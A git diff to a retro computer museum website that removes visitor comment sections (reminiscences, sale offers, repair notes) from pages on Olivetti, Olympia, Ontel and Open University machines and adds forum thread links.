subtitle: '' @@ -215,51 +216,6 @@ params: - title: MO5 french TV commercial url: https://www.youtube.com/watch?v=HPr7NeqMobc text: 'Length: 31 s' - comments: - - author: Emanuele (UK (originally from Italy) - date: Sunday 17th July 2022 - text: My dad used to work at Olivetti and got me one of these when I was 4 (1987). Had my first experience with Basic on it. I swapped it for a 80286 IBM compatible after a couple of years but I remember crying a lot because I couldn''t play the games that were available on the C64! However it''s also thanks to this that I built my passion around computing. Proud to have been an owner! - - author: Andrea (Amsterdam, NL) - date: Tuesday 6th February 2018 - text: |- - Hi! This was my first PC as well when I was a kid.\ - I learned coding BASIC from its HUGE manual when I was 8y/o... Here is the link for revival! - - http://www.mypccollection.altervista.org/downloads/manuali/Olivetti/Olivetti$20Prodest128_manuale.pdf - - Originally from Italy, now I am a developer in Amsterdam, The Netherlands focused on Node.js - - author: Dino (Italy/Rome) - date: Sunday 14th December 2014 - text: This was my first computer. it wasn'' t good for games but with it I have learned the BASIC programming. - - author: Gianluca (London) - date: Wednesday 19th December 2012 - text: |- - As I lived in Italy, this was my first computer too.\ - I actually wanted to buy a Commodore 64, but in 1987 there were rumours that Commodore would discontinue it, so I bought the Olivetti. I remember I used my own money saved from tips, and I was only 13 !\ - I was initially dissappointed because the games were not a big deal. However I learnt how to program in Basic with this machine, and that helped me through all my career. I remember I wrote a cool program to plot mathematical funtions for the "maturitá" exams (A-levels / baccalaureat).\ - I stilll have it somewhere in the garage in Italy... - - author: fabio (perugia-italy) - date: Thursday 11th November 2004 - text: this is my first computer too. Now i work for video e graphics with high end computer and software but i never forget my olivetti prodest, sometime i play with it... - - author: Andrea (Sarzana (SP-Italy)) - date: Sunday 29th February 2004 - text: |- - It was my first computer, too. I have start my career of programmer from this. It was a good computer, but the Commodore was better in that years... it was 1986-7 but I have this computer also now...\ - It is my memento... :p - - author: Fog76 (Italy) - date: Thursday 27th November 2003 - text: |- - This machine was the my first computer... i lean the art of programming...\ - For the italians : Qualcuno vuole vendermene uno ? - - author: Vanio (Italy) - date: Wednesday 19th November 2003 - text: This was mi first computer in 1986. Due to very low quantity of software available, i had to learn programming. So, greeting to this home computer, now i'm a good computer programmer! - - author: Alby (Italy) - date: Sunday 12th October 2003 - text: |- - This was my first computer. Not bad 'bout technics but has not to much programs sigh :-(\ - Sorry if my english is not to much good but i do not speek english very well.\ - Now i'm affraid to have demolished it. related: - /museum/thomson-mo-5 - /museum/thomson-mo-6 diff --git a/content/museum/olivetti-prodest-pc-128s.md b/content/museum/olivetti-prodest-pc-128s.md index 6d22127a..540d88cf 100644 --- a/content/museum/olivetti-prodest-pc-128s.md +++ b/content/museum/olivetti-prodest-pc-128s.md @@ -61,6 +61,7 @@ params: tabs: - photos - links + forum_thread: 1028 photos: - title: LARGE VIEW subtitle: '' @@ -136,29 +137,6 @@ params: - title: PC128S Olivetti Prodest url: http://pc128s.altervista.org/ text: Italian website dedicated to the PC128S Olivetti Prodest - comments: - - author: aotta (Italy) - date: Sunday 22nd July 2012 - text: just an update... i repair my pc128s by replacing the via 6522, and attached to a lcd tv by modding the original rgb cable (that hadn''t the 5v wire attached!!!). Now i''m fully satisfied with my Olivetti Prodest!!!! - - author: aotta (italy) - date: Saturday 16th June 2012 - text: |- - I (re)bought a pc128s a few days ago!\ - i had to changed the floppy, and it worked... for few minutes! :(\ - then it freezed and now it start with continuos beeeep and only break key working... :(\ - and the monitor burned with lot of smoke after an half an hour it was on!\ - what a pity, a 25 years old computer, used only for a bit!!! - - author: Cesare (Italy) - date: Sunday 29th April 2012 - text: |- - The initially price of the PC128s is litalian lire 660.000 + IVA. about 342 euro + IVA (20$ tax).\ - Bye - - author: PC128S - date: Wednesday 4th April 2012 - text: Sito dedicato al computer PC128S Olivetti Prodest - - author: Daneel - date: Sunday 23rd October 2011 - text: In the 1987 I''ve bought an Olivetti PC 128s win 14" colour monitor for 1.500.000 lire, about 775 euro. oc_id: 1055 source: url: https://web.archive.org/web/20230608072917/http://www.old-computers.com/museum/computer.asp?c=1055 diff --git a/content/museum/olivetti-programma-p101-p102.md b/content/museum/olivetti-programma-p101-p102.md index 3db1cd8f..f37f34dd 100644 --- a/content/museum/olivetti-programma-p101-p102.md +++ b/content/museum/olivetti-programma-p101-p102.md @@ -53,6 +53,7 @@ params: - adverts - links - docs + forum_thread: 828 photos: - title: PROGRAMMA P102 subtitle: '' @@ -104,90 +105,6 @@ params:  type of document : PDF **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Kenneth (Sweden) - date: Wednesday 16th February 2022 - text: 6 March 1967 I started as a young (21 year) computer salesman for Programma 101 at the Olivetti sales office in Gothenburg, Sweden. It was a marvelous machine at that time and a real pleasure to demonstrate at the industries in West Sweden. One bug I remember is that the command B/^ made the printer go wild and start printing the left column. After a few years I got one back from a customer and 1995 I added an image and some info on my website. Two years later a successful US SW entrepreneur found it and I could sell it for a good price. I have also sold Compucorp, Apollo Computers and Datapoint. !978 I started the first computer shop in Sweden selling Commodore PET and Apple II. - - author: george (france) - date: Tuesday 18th June 2019 - text: in autumn 1968 opened the ''IUT informatique'' of Lyon (france). we were teached computing with an Olivetti programma 203 and some teletype connected to GE time sharing running Darthmouth Basic. The (nicely designed) Olivetti programma 203 (and the (little ugly) audit series) as (sort of) first (micro) computer for (very) small company in europe in 70''s was a very good tool (at that time)(but not a success story .. helas) - - author: Piero Todorovich (Italia) - date: Monday 30th July 2018 - text: Please check. The P102 connection was not RS232C compatible. The connection was proprietary (an extention direct-attached to the keyboard and Printer for use by remote systems) - - author: Alfredo (Argentina) - date: Saturday 2nd June 2018 - text: |- - Hello to all! I invite you to see pictures and an article I wrote about my P101 in mint condition, the link is this:\ - http://www.curtamania.com/curta/database/brand/olivetti/Olivetti$20Programma$20101/index.html\ - Best regards, Alfredo - - author: David - date: Tuesday 15th August 2017 - text: Is the price on this ebay site a good price? http://www.ebay.com/itm/152665094101 - - author: Mark (Ohio/USA) - date: Thursday 29th September 2016 - text: 'This particular machine was used on the US game show "It Takes Two" from 1969-70, presumably to compute the average guess for each couple. Credit for it is found in this video: https://www.youtube.com/watch?v$ko5NUslV5hg$feature$youtu.be' - - author: Uli (Germany) - date: Thursday 13rd November 2014 - text: I Have a olivetti programma 101 in good condition. - - author: Jos (United Arab Emirates) - date: Sunday 12th October 2014 - text: Hi, looking for Olivetti Programma 101 for sale in good condition. - - author: Dan (USA) - date: Thursday 11th September 2014 - text: My father worked for Olivetti in Dallas and I had the great pleasure of having a Programma 101 at our house when my father brought one home. Truly a marvelous machine and beautiful too! - - author: Giorgio (Switzerland) - date: Friday 21st February 2014 - text: |- - What''s most amazing of this incredibly advanced machine (for the time) is that it was developed \*against\* Olivetti''s establishment will, by a small team of young talented people lead by Ing. Piergiorgio Perotto.\ - In fact, in 1964 the management of Olivetti had declared that the company''s future was in mechanics, while electronics was of no interest. Very very farsighted, indeed! - - author: salvatore (Italia) - date: Sunday 2nd December 2012 - text: |- - i have it!!\ - http://www.subito.it/hobby-collezionismo/olivetti-programma-101-cosenza-52940722.htm?last$1$spoint$ar - - author: Chris P (USA) - date: Saturday 4th February 2012 - text: I used one of these to do my first CAE program at Sheffield University in England in 1969. We were supposed to optimize an Ackerman steering system. Everybody else drew them up - I wrote a program to iterate through the possible geometries. - - author: BINON PATRICK (FRANCE) - date: Tuesday 27th December 2011 - text: |- - I have one P101, that was the first computer I used at school in1969. Now I would like to restore it.\ - I am looking for service manuals (I allready have one for the mechanical section adjustments).\ - As some of the guys on this forum were sellers or service man may be they still have some documents\ - Regards\ - Patrick - - author: Kit Richer (Australia) - date: Sunday 19th September 2010 - text: This was my first non mainframe computer experience. The machine was bought for the materials guys but they really couldn''t work it out til us engineers got hold of it. We were early into the use of NC machines and used it to calculate movements for a 2 axis mill and a 3 axis bender. We were using it to calulate points using matrix rotation methods which we thought pretty cool at the time. The most complex job was getting a set of exhaust extractors from scale drawing to bending coordinates for a Chrysler Charger especially released for Austrlia''s premier production car race at Bathurst. - - author: Herman Protze (USA) - date: Wednesday 8th September 2010 - text: In 1967± I convinced my Dad to purchase a P101 for his construction testing laboratory business. I programmed and ran payroll for over 25 employees and as well programmed and performed concrete mixture proportions using the P101. Pleasant memories of yore! - - author: Ken Cox (USA) - date: Friday 27th August 2010 - text: My father owned an Olivetti Underwood franchise and I was trained in both repair and sales of the Programma 101 and 203 (accounting machine). I wrote amortization programs for banks that would allow them to charge interest not to exceed a certain interest rate...within .01$. Also wrote state and federal income tax programs for accountants. Was a fabulous machine for its time. - - author: Bob Russo (USA) - date: Wednesday 18th August 2010 - text: My high school in New Haven, CT acquired one in 1968 or 69. One of the instructors brought it home over Thanksgiving weekend to try a program he had written to calculate Pi. It ran from Wednesday night till sometime Sunday before printing it''s answer. I don''t recall how many decimal places, but I''m pretty sure it was over 5. - - author: CHIP GETTER (USA) - date: Monday 12th July 2010 - text: |- - I was high school age, working at an engineering/architectural firm. There were commercially-available "packs" by third-parties with programs capable of making the 101 a truly valuable investment. The surveyor''s pack involved a LOT of trig floating point, of course. Those programs could literally run for an hour when you were doing take-offs. There were two lights above the keyboard. A large blue one would flicker during processing and I''d keep poking my head in every 10-15 minutes to see if it was still "thinking". You never wanted to see the blue one stop and the red one illuminate. That meant bad news: usually an overflow and your run was a waste. - - By the time HP handhelds came around (35/45/55/65), the register paradigm I had learned programming the 101 had me a leg-up when it came to work in RPN. - - If I recall correctly, Olivetti sold special ruled pads for writing your 101 programs. I think they were green ink on white paper. - - author: George Reardon (USA) - date: Friday 9th January 2009 - text: As it was for many others, the Olivetti Underwood Programma 101 was my first computer. I took a job in June of 1968 at a small company where the person who bought the computer had resigned. Everyone was afraid of it, so they said, "Let the kid use it!" I ended up learning the language from the self-teaching manual and programming a lot of business applications on it. Also, on the night of the presidential election returns of 1968, I taught the machine to play Tic-Tac-Toe and never lose (as long as it moved first.) To do that with such limited instruction capacity required packing the logic of the game into several long numbers, which the program dismantled one digit at a time as a game progressed. - - author: Tim Specht (USA) - date: Tuesday 10th April 2007 - text: I used this machine and a P-602 to learn programming in high school, from 1972 to 1975. Very simple programs were provided in the users manuals, and my classmates and I spent many fond hours learning how to do branching on these two machines. Very simple, compared to today's workhorses, but they were quite something back then! - - author: Richard Kuper (Earth) - date: Thursday 8th March 2007 - text: 'This was the first computer I ever got to use and program. There was this old non-working analog computer sitting in the corner of the math department office at my high school. I was intrigued and wanted to know more about computers. With the assistance of a math teacher we started a computer club in my high school and eventually convinced the powers that be that we needed a computer. They got the Olivetti Underwood Programma 101. It was educational and fun. It had storage and registers and everything! We did what high-school math students would do: we programmed it to generate the Fibonacci sequence! :) I think I still have the user manual somewhere.' - - author: Erich Hespenheide (USA) - date: Monday 3rd January 2005 - text: I programmed the Programma 101 while stationed at West Point NY in 1969 and 1970. I believe the model we used had a 4k CORE memory (one of the first for a desktop calculator). The only program that I remember writing was a radix conversion program decimal-octal-hexidecminal. oc_id: 847 source: url: https://web.archive.org/web/20230608075920/http://www.old-computers.com/museum/computer.asp?c=847 diff --git a/content/museum/olympia-boss.md b/content/museum/olympia-boss.md index 8fe94c5a..95221d40 100644 --- a/content/museum/olympia-boss.md +++ b/content/museum/olympia-boss.md @@ -58,23 +58,12 @@ params: value: 'Boss B : 4040 (France, november 1982)' tabs: - adverts + forum_thread: 110 adverts: - title: FRENCH ADVERT subtitle: '' text: '' image: /media/museum/pubs/olympia_boss_pub_1.jpg - comments: - - author: Udo Willers (Germany) - date: Sunday 29th March 2020 - text: |- - Hello,\ - I work at the Jade University and try to rescue this rare computer from my home town. I build a small archive with informations but seek to improve it. A schematic would be great. I also desperatly seek informations about the sussessor the Olympia People. Would love to buy one - - author: Chris Shaw (UK) - date: Thursday 8th December 2011 - text: |- - Olympai Boss. - - Hi. I used to work for Olympia International between 1980 and 1989. If you would like any information on this company, the products or personnel then please contact me at: christophermshaw@aol.com oc_id: 95 source: url: https://web.archive.org/web/20221202040219/http://www.old-computers.com/museum/computer.asp?c=95 diff --git a/content/museum/olympia-op-544-op-644.md b/content/museum/olympia-op-544-op-644.md index 2d5a1372..2ebcbee2 100644 --- a/content/museum/olympia-op-544-op-644.md +++ b/content/museum/olympia-op-544-op-644.md @@ -62,6 +62,7 @@ params: value: Unknown tabs: - photos + forum_thread: 975 photos: - title: 'FRONT VIEW #1' subtitle: '' diff --git a/content/museum/olympia-phc-2.md b/content/museum/olympia-phc-2.md index e0e2b0ee..1e3f7b8e 100644 --- a/content/museum/olympia-phc-2.md +++ b/content/museum/olympia-phc-2.md @@ -70,6 +70,7 @@ params: - hardware - emulators - links + forum_thread: 429 hardware: - title: NATIONAL CF-2131 subtitle: 16 KB RAM expansion @@ -209,13 +210,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/ontel-amigo.md b/content/museum/ontel-amigo.md index b7d5d845..5548e519 100644 --- a/content/museum/ontel-amigo.md +++ b/content/museum/ontel-amigo.md @@ -64,38 +64,7 @@ params: value: 5.25'' or 8'' Hard disk controller connector, 800 KB 5.25'' floppy drives - label: PRICE value: Unknown - comments: - - author: Eduardo Dorola (RetroEdu) (Buenos Aires/Argentina) - date: Friday 31st July 2020 - text: |- - Finally, is working. But no clue of the CP/M disks.\ - https://drive.google.com/drive/folders/1qPHmxbnH_2F7prtdaphAVDdDp1w9lxLf?usp$sharing - - author: Claudio Sánchez (tokafondo) - date: Monday 27th July 2020 - text: |- - Also known in Argentina as the LATINDATA Profesional. - - Please look for detailed pictures here: - - http://www.vcfed.org/forum/showthread.php?75967-LATINDATA-Multitech-Z80-amp-6502-together-Yes-CP-M - - author: Jose Luis (Spain) - date: Wednesday 5th October 2005 - text: It's an Amstrad CPC! :) - - author: Jose Luis (Spain) - date: Wednesday 5th October 2005 - text: It's an Amstrad CPC! :) - - author: Jose Luis (Spain) - date: Wednesday 5th October 2005 - text: It's an Amstrad CPC! :) - - author: Jose Luis (Spain) - date: Wednesday 5th October 2005 - text: It's an Amstrad CPC! :) - - author: Pete Fenelon (York, UK) - date: Sunday 25th September 2005 - text: |- - The Amigo (or C/WP Cortex) had some interesting features. The display was handled by a 6502 which had a chunk of dedicated RAM, so it was quite fast and capable for its time (and position in the market). It was one of the first machines to have DRI's "GSX" portable graphics drivers, which were meant to give CP/M a standard graphics interface. - - The CW/P version had a modified version of Wordstar set up to use the IBM-style function keys. + forum_thread: 1121 oc_id: 1151 source: url: https://web.archive.org/web/20221204052254/http://www.old-computers.com/museum/computer.asp?c=1151 diff --git a/content/museum/ontel-op-1.md b/content/museum/ontel-op-1.md index 64bebe05..555d672c 100644 --- a/content/museum/ontel-op-1.md +++ b/content/museum/ontel-op-1.md @@ -61,6 +61,7 @@ params: tabs: - adverts - links + forum_thread: 1120 adverts: - title: 'ONTEL ADVERT #1' subtitle: '' @@ -74,115 +75,6 @@ params: - title: Interesting and detailed Ontel pages url: http://www.msu.edu/~mrr/mycomp/ontel/ontframe.htm text: '' - comments: - - author: Guy Spriet (Rye, New-York ) - date: Monday 12th July 2021 - text: TRUE,,, Yes, ONTEL was a wonderful partner. I had to design a full computer system named GS132 for a French based company specialized in the Graphic industry (1976) and the team at Ontel had the most intelligent terminal one can dream of. It helped to decentralize the intelligence at the operator level, thus making the software design much easier at the CPU level. I have worked in cooperation with many OEM manufacturers and I can tell, Ontel''s team was exceptional. Only good memories. - - author: James Intriglia (Tampa, FL / USA)) - date: Friday 7th June 2019 - text: |- - Fresh out of Electronic Engineering Technology college, I was hired by Bill Ohm and employed as an Instructor by Ontel when it was Owned by Caesars World (1980-1981?). - - For a period of time, I authored a customer newsletter for Ontel using an OP-1 computer that supported our customer education team and our clients. I taught Ontel customers how to use the OP/1 and it''s software applications to manage various aspects of their business. - - The OP-1''s in our office space were supported by CDC Hawk and Phoenix hard disk drives, the size of a washing machine. - - The CDC Hawk had an amazing 20MB storage capacity, while the more state-of-the art Phoenix drive had a massive 40MB storage capacity, with removable hard disk packs. - - Little did I know that the technology I was working with would born an entire new industry led by Bill Gates and Steve Wozniak. - - Great to have the privilege of working with people and technology that pre-dated Microsoft and the IBM personal computer! - - author: Gregory Nutt (Costa Rica) - date: Monday 4th June 2018 - text: My first job was programming Ontel terminal applications for the Illinois Law Enforcement commissions in 1979. With HP mainframes. Great memories. - - author: Tom Lawrence (Ohio, USA) - date: Wednesday 29th November 2017 - text: |- - I was an end user of Ontel computers. As an electronic technician who learned how to program applications on Ontel computers, I can say I really loved these systems - solid and pretty reliable We primarily used the dual 8" floppy drives and CDC Hawk drives. I have actually thought about looking for one as a personal museum piece. - - We also used to use the CDC 9448 CMD (Pheonix Drives) disk drives. We thought the 96 MBytes would be all that anyone would ever need for storage. LOL! I can remember when the disk head access on those drives was so aggressive during certain extensive data searches that the drive actually walked its way across the floor and without crashing the drive heads. - - author: Phil Fedele (Somerset NJ / USA) - date: Wednesday 28th June 2017 - text: |- - From my 2013 posting, forgot to mention the operations support of the OP-1 systems included troubleshooting$fixing$replacing parts:\ - Picture-tubes, fly-back transformers, capacitors, resisters, keys, keyboards, circuit board sockets, I/O ports... pretty much anything and everything on the OP-1 !! - - author: Khalid Khan, ONTEL Test Technician - date: Thursday 18th June 2015 - text: 'from Test Technician KHALID KHAN, Ontel Corp, Woodbury: 1978-80. email: videotemple1970@gmail.com: I was a night-shift technician hired by TOM CORNETTO, the supervisor. First day I met PAUL MATULONIS a lanky bearded guy who was a very intelligent decent human being, and a helpful friend. He trained me in the schematics and trouble-shooting of the 1164 pc board, and in the use of the WETTEST software routine to check it. Mostly it turned out that boards failed because of solder shorts at back on the reverse side. Soon, we all figured that out, and became PhDs on that, and could fix ANY board without looking at the schematics or hooking up the Oscilloscope. The test floor was very social and we made good friends as well as sometimes argued too. This was 1970s New York Saturday Night Fever disco era. There were some nice chicks at Ontel. At times we used to find excuses to stand near the pc-board repair girls and joke with them and get some double-meaning answers. A real fun girl - was JENNIFER STONE who talked bawdy at times and provided fun. At other times management caught some girls and guys making out in car in the parking lot. Other girls JUANITA and JESSE. The wife of one of the executives was DEBBIE BORSCINO, who was a hottie everyone noted. Among my friends was BOB SHORT, a Karate black belt under Sensei Teriyuki Higa of Okinawa Kenpo Karate School in Hempstead. Bob looked exactly like actor/body builder William Smith. Another friend was STEVE RICARDI who also trained in Kenpo Karate under master Higa. You could get a job at Ontel Corp if you just knew how a 74F74 Flip-Flop chip worked. In Long Island snow fall, going back at night at end of 2nd Shift, in my Buick LeSabre, my car used to slide sideways on the road. Sometimes, I stopped somewhere to get a 50 cent slice of Pizza and a cup of hot chocolate. Much later, I met Bob Short again in Silicon Valley in California, one day when I was teaching Filipino stick-fighting Serrada Eskrima at Tony Janovich''''s - Danzen-Ryu School in Santa Clara in San Francisco south-bay Silicon Valley area, when master Bob Short walked in. I eventually ended up in Hollywood working as a on-set technician at low-budget films, and at glamor films. I met many famous stars, and was personal assistant to Russ Meyers'''' heroine.' - - author: Alberto Frenicchi (Italia) - date: Sunday 29th March 2015 - text: |- - During the years ''78 to 80'' , I was working for the italian Company Olivetti and together with Liciano Mazzeo, I was in charge of the quality assurance of OEM products. From Ontel we have been buying a word processor versione of the OPPO.1, I travelled a lot at that times to Woodbury, almost every month, and I had the privilege to know David Ophir, Moshe Nadby, David Shiffer, Frank Kirby, Bruce Komusin and many other ingeneers which I don''t remember the name of.\ - Everybody have been very good cooperative people and I''ve spent an unforgettable time with them from both the view points: professional and friendly.\ - All my greetings to all the people that shares with me the memorie of the Company and of the people that worked in it.\ - Alberto - - author: Bill March (lancaster pa) - date: Thursday 5th March 2015 - text: I was the Credit Manager at Ontel In my position I met with all the customers such as LATIN DATA ,AEG TELEFUNKEN , SACO,etc .I also remember BRIAN STEPHENS,JOHN EMMERICK,DOM BONNAMO,DAVE HANLON,and manny more nice persons. I was one a few that were transfered to Tewsbury MA when VISUAL took over .The day i arrived in MA. they were talking of going bankrupt .I stayed a year and watched the company be destroyed.. - - author: Ken Simpson - date: Friday 8th August 2014 - text: Worked Ontel Customer Service from about 1978 to 1983. Worked as Customer Service Engineer then Customer Service Supervisor until Visual Technologies took them over and the big lay-off''s began. Imagine a desk top, stand alone, word processor basically a desk top computer back in the 70''s. - - author: John Kirby - date: Wednesday 26th March 2014 - text: My father was VP of Sale and Marketing during the 70s and sold this machine. He helped develop the Ontel Amigo and remembers when a young Bill Gates came to visit the plant and met with Ed Heinze. - - author: Jochen Emmes (Germany) - date: Wednesday 26th March 2014 - text: |- - Hi,\ - I have a Telefunken version of this machine, very similar or even the same model like Andy Collins. Unfortunately the cable to connect the double 8 " disk drive is missing and even when I can get this fixed I will still miss a suitable disk (I''ve got several 8" floppy disks but not for the Telefunken 5200). When I powered up the system it came whith a black screen,\ - no reaction to any keypress - maybe this is normal with no floppy drive connected. At least the were no exploding capacitors nor the smell of something burning. If anyone has some hints for me (f.e. the wiring of the floppy cable) please email me at: jochen dot emmes at gmail dot com - - author: Ian Hayden (UK) - date: Friday 28th February 2014 - text: I serviced these things when I briefly worked at General Computer systems (UK) Ltd in the very early 80''s. GCS did sales and support for ONTEL. I remember they were quite heavy! and most of the ones we saw were used for early Word processing applications, always some nice secretaries around to chat up during a service visit. In those days we were always made a cup of coffee and looked after on our visits. - - author: Craig Miller (NYC, USA) - date: Friday 24th January 2014 - text: |- - This was my first computer. My father brought one home when I was about 10 years old. After playing the classic game "hunt the wampus" for a while, I taught myself BASIC and wrote some software to help me keep track of my paper route. This eventually led to a career in software engineering. - - Thanks so much to Ontel! - - author: Mark Moore (High Wycombe, England) - date: Thursday 13rd June 2013 - text: |- - Interesting stuff, used to program one of these in OPL,was a builders billing system, didn''t realise it used Isam (I guess like C-Isam from Unix?).\ - In our spare time we used to write games in MS Basic lol\ - Great machine - - author: Dave Bossi (Barnegat Light, NJ) - date: Monday 4th March 2013 - text: SACBOL - Boy does this take me back! We used these to develop firmware for medical dispensing machines and I wrote an inventory management system in SACBOL. Great machines that did tend to get a bit warm if you have a lot of memory installed. - - author: Bill Holmes (Alachua, Fl. USA) - date: Thursday 21st February 2013 - text: I wa one of Phil Fedele''s users. I remember this system replacing our "old technology" of a Flexowriter using IBM punch cards and paper tape, the Paper Tape Reader, and a Magnetic Tape Base in 1978 to process our work to a main frame via a dial-up modem. Pretty high tech at the time. I agree with Phil, the OP-1 were work horses. - - author: Phil Fedele (Somerset NJ, USA) - date: Wednesday 20th February 2013 - text: |- - I was hired by Westinghouse Lamps (soon to be Philips Lighting) in Bloomfield NJ back in Feb 1983 (I was 19 !). My job in the door was to be the sole repair / support person for a nationwide network of OP-1 / 64 terminals. We had a staff programmer who wrote the code and I burned the new programming options via an EEPROM programmer (and erased the chips too for new programs). We called them W.I.T. Westinghouse Intelligent Terminals and they connected to our IBM mainframe system via bi-sync protocol for batch entry. When our modems lines were down around the country, the field could still enter until the OP-1/64 buffer was full !\ - We ran them in our company for almost 10 years !\ - Great systems. - - author: Fred Kohler (South Africa) - date: Tuesday 12th February 2013 - text: I worked with Steve Millard. and was the design engineer. I modified the Op/70 and added a second PCB on pins mainly through the 8085 CPU and the extra board had 2 CPU''s 8085 and the then new 8088 with added memory so we had an extra 256K memory. Using a memory map logic the 8085 was able to get at the extra memory and of course the 8088 had direct access. The SACBOL was modified so part of it ran in the 8085 and part in the 8088. When the machine booted up it was the standert OP1/70. - - author: Andy Collins (United Kingdom) - date: Monday 11th February 2013 - text: |- - I have the Telefunken version of these machine. Sadly mine isn''t working at the moment but I hope to get it going when I can. - - It''s a weighty beast of a thing with a card cage with wire-wrap at the back. The cards seem to have specific slots that they work in as wiring at the back runs from certain pins on each card to connectors on the back. - - author: Steve Millard (South Africa) - date: Sunday 2nd December 2012 - text: An amazing machine ahead of its time. I defined and wrote the Sacbol (OPL) language, Sacmft, Isam as well as the CDC emulators. Nice to know that it was used world wide by companies like AEG ,Wallgreens, CDC and the like. We had major customers in South Africa running real time applications. - - author: Daniel (Argentina) - date: Saturday 29th September 2012 - text: |- - I used to work with OP 1, programming sacbol software applications.\ - you remember sacbol. dont u?\ - Here in Argentina, it was the first version of screen PC available to the most of the middle companies range.\ - Just as I got my degree, I began to work with OP1 So I could leave my other love: burroughs L4000\ - Ohohoh I feel like I m getting old. - - author: Ian McAlister (South Africa) - date: Wednesday 23rd May 2012 - text: We used Ontels in the ''80s as a platform to run access control and Time and Attendace systems for large gold mines - up to 50,000 employees clocking in real time! The company was Saco Systems and was based in Johannesburg, South Africa. An amazing machine for its time! oc_id: 1150 source: url: https://web.archive.org/web/20230223071941/http://www.old-computers.com/museum/computer.asp?c=1150 diff --git a/content/museum/open-university-uk-hektor-2.md b/content/museum/open-university-uk-hektor-2.md index 87beebea..62e37ced 100644 --- a/content/museum/open-university-uk-hektor-2.md +++ b/content/museum/open-university-uk-hektor-2.md @@ -61,6 +61,7 @@ params: tabs: - photos - hardware + forum_thread: 591 photos: - title: BOXED SYSTEM subtitle: '' @@ -107,38 +108,6 @@ params: subtitle: '' text: '' image: /media/museum/hardware/hektor_peripheral_board.jpg - comments: - - author: PAULO (UK) - date: Saturday 27th August 2016 - text: |- - If you have a working Hektor for sale, contact me at my email pconst167@gmail.com - - Thanks a lot! - - Paulo - - author: peabody_pearce (Loughborough) - date: Wednesday 11th May 2016 - text: |- - I''m just about to list an original HECTOR on Ebay (uk) if anyone is interested.\ - See listing $586462769322 later today.\ - :-) - - author: Artur K(London) (London/UK) - date: Wednesday 17th October 2012 - text: Hi keira hope-thompson (london), I am interested in this kit. And The OU- Working with Hektor brochures (parts:6,7,8). How can I contact you? - - author: Jim Patterson - date: Wednesday 8th August 2012 - text: |- - This was the first computer I ever saw - my dad did the OU course, and as a young kid, I had time to play a little on it. If I remember correctly, it had a POKE sequence you could type in that caused the computer to play "The Entertainer".\ - Sadly, my life never really improved from this point, and for my sins, I''m a software developer now... - - author: Neil Barnes (UK) - date: Friday 13rd July 2012 - text: Used one of these when I did the OU course T222 in 1990. I failed to buy it at the end of the course largely because once I''d turned it on and played with it, I found I was using a CP/M machine and MASM assembler to write the course work, and just copied the final code to this machine to check it worked. (Don''t tell the OU!) - - author: keira hope-thompson (london) - date: Tuesday 14th October 2008 - text: I have just found an hetor 2 computer still boxed unbuilt.Still has its instruction manuals and am interested in selling it for the right price.please email me with any queries. - - author: Colin Crowder (UK) - date: Monday 9th October 2006 - text: I have a HEKTOR computer which i purchased for £30 (the going rate) in the 80's when a friend of mine, who was doing an OU course, was asked if he would like to purchase one because they were due to be supeseded by the new model. I started to use it but started a family so the learning fell by the wayside. It has become a family 'heirloom'. oc_id: 602 source: url: https://web.archive.org/web/20230205203432/http://www.old-computers.com/museum/computer.asp?c=602 diff --git a/content/museum/open-university-uk-hektor-3.md b/content/museum/open-university-uk-hektor-3.md index 21a87f3a..6ea2d832 100644 --- a/content/museum/open-university-uk-hektor-3.md +++ b/content/museum/open-university-uk-hektor-3.md @@ -62,6 +62,7 @@ params: value: Unknown, available only on loan to Open University students tabs: - photos + forum_thread: 997 photos: - title: HEKTOR III subtitle: '' @@ -83,36 +84,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/openuniv_hektor3_mainboard_s1.jpg - comments: - - author: Ed (UK ) - date: Saturday 23rd May 2020 - text: |- - Have a Hector III in its box with manuals and cables etc.\ - Based in the UK\ - Any offers? - - author: Colin (UK) - date: Wednesday 10th October 2012 - text: |- - I have just obtained an old Hektor III open university computer from 1983. Does anyone have a manual for this. Also it did not come with a power supply, so if you have the schematic then this would be usefull - - Thanks - - author: schaap (The Netherlands) - date: Monday 31st October 2011 - text: |- - Here is one with some pictures on Ebay: http://www.ebay.nl/itm/Vintage-Hektor-III-Micro-Home-Computer-single-board-with-8085-CPU-1983-/220884935792?pt$LH_DefaultDomain_146$hash$item336dc4a470 - - Regards, - - author: Dave Shawyer - date: Sunday 2nd May 2010 - text: |- - I have a Hektor III but it has a different ROM O/S from the one I used on my OU course. This ROM doesn''t give access to BASIC. Has anyone experienced this and indeed does anyone have a copy of the original ROM? - - Regards, - - Dave - - author: Ruth Cammies (UK) - date: Monday 26th March 2007 - text: 'For information, an example of the HEKTOR III, with a manual, is available to view at the Open University Archive, at the Open University, Walton Hall, Milton Keynes, UK. For further information or to make an appointment to come and look at the computer, contact: 01908 653378' oc_id: 1023 source: url: https://web.archive.org/web/20230129162547/http://www.old-computers.com/museum/computer.asp?c=1023 diff --git a/content/museum/open-university-uk-pt501.md b/content/museum/open-university-uk-pt501.md index 0ef52041..9978e8ab 100644 --- a/content/museum/open-university-uk-pt501.md +++ b/content/museum/open-university-uk-pt501.md @@ -46,13 +46,7 @@ params: value: External AC adaptor - label: PRICE value: Unknown - comments: - - author: roger baldwin (UK) - date: Tuesday 26th November 2013 - text: I have a PT501 in the original box with the manual, any idea what this would be worth? thanks - - author: JW - date: Saturday 30th March 2013 - text: I used one of these too (when I was about 10!) I seem to recall this board also had a temperature sensor input. Didn''t do me any harm - I''m now a software engineer. + forum_thread: 798 oc_id: 817 source: url: https://web.archive.org/web/20230128073542/http://www.old-computers.com/museum/computer.asp?c=817 diff --git a/content/museum/ordisor-pcc-2000.md b/content/museum/ordisor-pcc-2000.md index 8b2344a3..e0f6591a 100644 --- a/content/museum/ordisor-pcc-2000.md +++ b/content/museum/ordisor-pcc-2000.md @@ -68,6 +68,7 @@ params: - photos - adverts - links + forum_thread: 1257 photos: - title: PCC 2000 subtitle: '' diff --git a/content/museum/oric-1.md b/content/museum/oric-1.md index a4db3169..8395fd51 100644 